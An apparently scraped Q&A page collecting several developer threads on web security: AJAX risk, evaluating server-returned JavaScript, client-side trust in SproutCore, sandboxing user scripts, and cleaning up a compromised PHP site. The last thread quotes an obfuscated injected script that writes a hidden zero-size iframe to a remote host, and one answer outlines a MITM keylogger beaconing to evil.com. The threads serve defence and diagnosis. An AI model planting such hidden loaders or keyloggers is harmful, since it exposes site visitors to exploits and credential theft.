We Keep Coding

Does ajax increase or decrease security?

I am creating a website which until now is pure PHP. I was thinking that since very few people do not have JavaScript enabled (which I wonder why!) maybe I should create my website as a fully PHP site without any AJAX. Am I thinking wrong?
Just to be sure, if I implement some AJAX would it increase the risk of my site getting breached?
Should I be even worried about this and start using AJAX?

AJAX itself will not increase or decrease the security of your site, at least if its implementation is elaborate. The client (browser) will have turned JavaScript on or off. If it is turned on, there may be more insecurities on the client side, but this won't affect your server and hence your site.
Nevertheless, you should of course implement your AJAX entry points securely (this server side files that are accessed by AJAX requests). Two of the most important rules of thumb you should keep in mind are:
Treat every user input (whether coming in via AJAX or not) as potentially "evil" and therefore validate it thoroughly and use database escaping, ... Do NOT rely on client-side validation only!
A good website should offer all the possibilities accessible with javascript enabled also without it. Surely, this is not always possible, but one should try it at least.
I would suggest using a framework (depending on what background technology you are using, like PHP, Java, Perl) supporting AJAX, which will make the whole thing much easier for you. Also, you should maybe search for something like "securing AJAX applications" to get more detailed information on the topic.

Ajax is not inherently secure or insecure.
It does however open up 'opportunities' for insecure code. A mistake I commonly see is as follows:
The user is authenticated in code-behind when the page is loaded
A user id or other credentials are rendered out and picked up by JavaScript
These (totally unauthenticated) credentials are sent back over the wire by Ajax and not checked server side. Very easily hacked even with a simple tool like Fiddler!
You must apply the same level of security to your web methods/web API as you would elsewhere in your site. If you do, Ajax should be no more or less secure than 'regular' web pages. Things to watch out for include:
Proper authentication and authorisation checks in your web services or API
Anti-SQL injection measures
HTTPS if transmitting personal or sensitive data
Ajax makes websites more responsive and is pervasive across the modern web. Take care with security, and degrade gracefully for non-JS-enabled visitors if you expect a significant number of visitors to have JavaScript turned off or if any lost visitor is not acceptable to you, and you should have nothing to fear.

I am creating a website which until now is pure PHP. I was thinking
that since very few people do not have JavaScript enabled (which I
wonder why!) maybe I should create my website as a fully PHP site
without any AJAX. Am I thinking wrong?
I would say most people do have JavaScript enabled. Probably 2% at most have it disabled according to this post from 2012.
Just to be sure, if I implement some AJAX would it increase the risk
of my site getting breached?
Yes, technically it does. More code = more chance of bugs, and security bugs will be a subset of these.
You will also be increasing the attack surface of your application, as you will be generally be implementing more server-side handlers for user actions to be executed asynchronously.
There is also more chance of client side bugs being prevalent such as XSS (particularly more chance of DOM based XSS bugs sneaking in there).
Should I be even worried about this and start using AJAX?
You should be "rightfully concerned" rather than worried. The increased risk is considered acceptable by most sites, even high security systems such as banking applications. If implemented correctly it is possible for your site to remain "just as secure" as it was without AJAX.
As with anything web-based, pay particular attention to the OWASP Top 10 and follow secure coding practices to minimise the risks. It is always advisable to get a security assessment carried out by an external company to pickup anything you've missed, although this can be expensive.

Is it considered bad form to execute javascript returned by an AJAX call?

I'm modifying an existing web application that features the ability to administrate users who are able to log into the system. When modifying a user's details via a dialog, update data is sent to the server via AJAX. A few lines of javascript to then update the current page to reflect these changes is returned with the intention of being executed. This strikes me as poor form - isn't executing remotely acquired JS dangerous?
If I were to modify this, I would have the AJAX call that sends the updated information then call another function that gets the latest data from the server via AJAX (or just refresh the page, if I am feeling lazy). Is there any advantage (mainly security, but from an architectural perspective as well) to making this change, or am I being anal?

Assuming we're talking about eval used on non-json.
People will tell you all sorts of things, most of it has some basis in reality. I'd say one reason that is really understandable: it will make the code a nightmare to maintain and it will be very hard to trace bugs.
There are security concerns, a lot of people like to jump on the "javascript is the clients problem" bandwagon. I say if it comes from your site, it's your problem too.
In the end, there is no good reason I can think of to eval javascript from the server. Pass data from the server, and write the javascript on the client-side to react to that data.

All JS executed by the browser is remotely acquired.
The server that returned the JS/JSON via AJAX is the same server that returned the HTML that did the AJAX call in the first place.
It if's possible to do something bad, it can be done whether you eval the result of the AJAX call or not.

Personally, I don't see the issue. Sure, people say things such as "It allows code execution client-side" however if the potential attacker is able to affect that, then that's your problem - not the ability to modify the code.
Seriously, I think you have far more pressing concerns than that. I'd personally spend that 10 minutes or so reviewing your code and looking for flaws instead of working on an alternative to eval(). I think it'll improve your security a fair bit more.
Mike Samuel mentions MITM. I don't see why. If you're susceptible to a MITM attack then chances are that code can be injected straight into the initial HTML page (again, sure, slightly higher risk but is it really worth worrying about? Your choice.)

If a trusted developer wrote all of it and you protect it the way you do the rest of your HTML page, then no.
But even if it is JavaScript written by trusted developers, if it is served over HTTP, then an attacker can modify it in-flight because HTTP over free wireless is often susceptible to MITM.
This can be used to effectively install a keylogger in the current browser window to steal user passwords, redirect them to phishing pages, etc.
The attack might work like this:
Web page does a GET to http://example.com/foo.js.
Attacker modifies foo.js mid-flight to add JavaScript that does window.addEventListener("keypress", /* a keylogger that sends all keys to evil.com cross domain by image loading tricks */)
Browser loads modified JavaScript.
User enters a password in an <input type=password>.
Evil wins.
Since HTTPS (assuming no mixed content) is not susceptible to MITM, it is not vulnerable to this attack.

You probably don't want to just call another function after you send the data update because you could then display information that isn't true if an update fails. At least with the current model, your service can tailor the javascript based on whether or not the update was successful. You may want to consider having the service just return a true/false and have the call back function handle the updating of the UI.

Sort answer: Yes
Long answer: You should just send data for both security reasons and to keep your implementations separate.
Improperly sanitized user-submitted content or advertisements could inject code and get it run. Granted, this would have to be a targeted attack, but hey maybe you're working for a startup that's going to be the next Google or a forum system that's going to be the next vBulliten. Even if you have 10 users, security holes are still holes and are still bad for you and your users. Also, bad security advice left lying around SO will lead others to make bad decisions.
Do you really want to have to make sure the code you generate on the fly and send to the client is correct in all possible cases? What if someone else works on just one half of the system? Are they going to know every variable name to avoid stomping on? Just sending data is the best way to keep a 'small' change in your client/server communication from breaking everything in ways that aren't obvious and will take forever to debug.

SproutCore Security and Authentication concerns

I've been trying to learn a little about SproutCore, following the "Todos" tutorial, and I have a couple of questions that haven't been able to find online.
SproutCore is supposed to move all of the business logic to the client. How is that not insecure? A malicious user could easily tamper with the code (since it's all on the client) and change the way the app behaves. How am I wrong here?
SproutCore uses "DataStores", and some of them can be remote. How can I avoid that a malicious user does not interact with the backend on his own? Using some sort of API key wouldn't work since the code is on the client side. Is there some sort of convention here? Any ideas? This really bugs me.
Thanks in advance!
PS: Anyone thinks Cappuccino is a better alternative? I decided to go with SproutCore because the documentation on Cappuccino seemed pretty bad, although SproutCore's doesn't get any better.

Ian
your concerns are valid. The thing is, they apply to all client side code, no matter what framework. So:
Web applications are complicated things. Moving processing to the client is a good thing, because it speeds up the responsiveness of the application. However, it is imperative that the server validate all data inputs, just like in any other web application.
Additionally, all web applications should use the well known authentication/authorization paradigms that are prevalent in system security. Authentication means you must verify that the user is who they say they are, and they can use the system, with Authorization means that the server must verify that the user can do what they are trying e.g. can they create a new data entry, or edit an existing one. It is good design to not present users with UI options that they are not allowed to perform, but you should not rely on that.
All web applications must do those things.
With respect to the 'interacting with the back end' concern: Again, all web applications have this concern. You can open up firebug/webkit, and look at all the the xhr requests that RIAs use in their operations, and mimic them to try to do something on that system. Again, this concern is dealt with by the authentication/authorization checks that you must implement. Anybody can use any webclient to send a request to the server. It is up to the developer to validate that request.
The DataSources in SproutCore are just an abstraction around how SC apps interact with the server. At the end of the day, however, all SC is doing is making XHR requests to the server, like any other RIA.

Is it possible to sanitize Javascript code?

I want to allow user contributed Javascript in areas of my website.
Is this completely insane?
Are there any Javascript sanitizer scripts or good regex patterns out there to scan for alerts, iframes, remote script includes and other malicious Javascript?
Should this process be manually authorized (by a human checking the Javascript)?
Would it be more sensible to allow users to only use a framework (like jQuery) rather than giving them access to actual Javascript? This way it might be easier to monitor.
Thanks

I think the correct answer is 1.
As soon as you allow Javascript, you open yourself and your users to all kinds of issues. There is no perfect way to clean Javascript, and people like the Troll Army will take it as their personal mission to mess you up.

1. Is this completely insane?
Don't think so, but near. Let's see.
2. Are there any Javascript sanitizer scripts or good regex patterns out there to scan for alerts, iframes, remote script includes and other malicious Javascript?
Yeah, at least there are Google Caja and ADSafe to sanitize the code, allowing it to be sandboxed. I don't know up to what degree of trustworthiest they provide, though.
3. Should this process be manually authorized (by a human checking the Javascript)?
It may be possible that sandbox fails, so it would be a sensible solution, depending on the risk and the trade-off of being attacked by malicious (or faulty) code.
4. Would it be more sensible to allow users to only use a framework (like jQuery) rather than giving them access to actual Javascript? This way it might be easier to monitor.
JQuery is just plain Javascript, so if you're trying to protect from attacks, it won't help at all.
If it is crucial to prevent these kind of attacks, you can implement a custom language, parse it in the backend and produce the controlled, safe javascript; or you may consider another strategy, like providing an API and accessing it from a third-party component of your app.

Take a look at Google Caja:
Caja allows websites to safely embed DHTML web applications from third parties, and enables rich interaction between the embedding page and the embedded applications. It uses an object-capability security model to allow for a wide range of flexible security policies, so that the containing page can effectively control the embedded applications' use of user data and to allow gadgets to prevent interference between gadgets' UI elements.

Instead of checking for evil things like script includes, I would go for regex-based whitelisting of the few commands you expect to be used. Then involve a human to authorize and add new acceptable commands to the whitelist.

Think about all of the things YOU can do with javascript. Then think about the things you would do if you could do it on someone elses site. These are things that people will do just because they can, or to find out if they can. I don't think it is a good idea at all.

It might be safer to design/implement your own restricted scripting language, which can be very similar to JavaScript, but which is under the control of your own interpreter.

Probably. The scope for doing bad things is going to be much greater than it is when you simply allow HTML but try to avoid alloing JavaScript.I do not know.Well, two things: do you really want to spend your time doing this, and if you do this you had better make sure they see the javascript code rather than actual live JavaScript!I can't see why this would make any difference, unless you do have someone approving posts and that person happens to be more at home with jQuery than plain JavaScript.

Host it on a different domain. Same-origin security policy in browsers will then prevent user-submitted JS from attacking your site.
It's not enough to host it on a different subdomain, because subdomains can set cookies on higher-level domain, and this could be used for session fixation attacks.

JavaScript being injected in my PHP Pages

I have a website, and I just discovered that somehow someone injected JavaScript on my page. How can I figure out what it does and how they did it?
<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\"
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>
Which I'm not sure how got there. Anyone know how it got there? and what I can do to remove it?

You need to know this now:
We see this at Linode quite a bit, and it's an indication that your server has been compromised by an attacker. When unescaped, it's likely to be a browser exploit that will infect your users, or a link to a spam site.
Save everything with the injected code for later analysis, and redeploy your entire server and Web stack immediately. The attacker undoubtedly has at least a shell on your box, and that will inevitably lead to root if he's crafty.
Redeploy now, keep your applications up to date, stop writing exploitable PHP, and lock down your user accounts with strong passwords or SSH keys. Not trying to pimp my company or anything, but this is such a common occurrence on poorly-managed Web boxen that we've written an article about how to completely redeploy from scratch. I suggest it several times a day.
EDIT: If you're downvoting me, please say why -- I've triaged three cases with this exact code, so I'm not making things up.
EDIT 2: There is one regard where I may be overestimating the situation, and it's only because I'm an employee of a VPS company (and I see this a lot). I made a mistake in assuming that this user's "Web host" was a server under his control, not shared hosting. That was a mistake, but there still is the chance that I'm right.
Compromise is a desperate situation where working in the dark can have disastrous consequences. If you do not know why an unauthorized party gained access to your infrastructure, you cannot rectify the problem. Since everyone assumed we're talking about managed, shared hosting here -- there is the chance that you're right and XSS is to blame. Again, the question was not presented with much data, and compromise is a situation that is not treated with enough gravity among developers in general.
I'm honestly tired of tickets that we open where a box is hitting another on the Internet with SSH probes, DoS data, URL injection, or anything for that matter -- and the Rails or PHP developer administering the box has no idea why it happened or what he can do about it. These are all things that indicate system compromise, not XSS. Therefore, my assumption that this was a server under the OP's control was misplaced, but it's forgivable (I hope) because I'm at work right now, handling those tickets.
If you'd like me to delete my answer, just say so, but I don't see any others getting votes.

Since you mentioned PHP, I'll run through a list of possible ways it could have happened. This list is not all-inclusive; but it will allow you to do a fair amount of investigation into what happened.
It's possible your web host was hacked and this was placed into your page through lax security on their part. However, do not assume this is the case. This should be your last resort.
It's probably your fault. I don't say this to point blame; but the sooner we developers realize we're the cause of our problems, the better off we'll all be. The only developer I don't trust is the one that says he doesn't make mistakes.
Your site was probably hit with an XSS attack.
Do you have any way for a user to type in information on your website? Do you use any textboxes or anything that would allow input from the user?
If so, then your site is vulnerable to XSS and other attacks. Here's a 'cheat-sheet' that will tell you general things you can do to mitigate this.
You should not allow any user data to pass to the database without being parametrized.
If you're going to allow a user to insert HTML, then you need to sanitize it.
Don't use magic quotes.
There are many ways this could have happened, but without more information, I'm going off of what you've written.
Steps:
Take the app offline.
Query your database to see how many pages / entries this has been injected into.
Check through your code for the things I mention.
Fix those.
Go through your database and take out any suspect lines (a SQL script would be easiest).
Re-deploy App.
Make sure you keep an eye on your webserver logs. They're a godsend to determining where the attack came from.

Are you using any 3rd party applications that have security holes? For example, a while back we had an issue with an old version of FCK editor, set up in the default location with all the samples folders in place that were being used to upload bad files.

The obfuscated part unescapes to "t.cn/vid"

As I see your pages are been injected in code, so this was done because there is a security hole in your server or in any application running on it. The hacker has writing capabilities to your scripts and the solution can be so easy as changing your FTP password or so complex as searching for a hole in any application installed in your server.
But first try to change your FTP password, Change it by a very hard to guess one, at least 12 characters long with any special character on it. I have heard that there was a brute force attack being directed from russian hackers that was injecting scripts in the headers of the pages to redirect the users to any other sites for any obscure purpose.

It's less likely that this was done through your own code (since the code, nor the possible exploits for this are usually not widely known -- but that's obviously no reason not to secure it), but do a check for common but outdated apps (WordPress, Drupal, ...) on your account.
I've encountered something similar a few days ago, it turned out that there was an old WordPress (v2.0 I think) blog installed through which they could gain access.
If you can, also check your server logs for the time that your PHP files on the server were last modified. In my case, it gave a clear record of how they entered and what to do against it.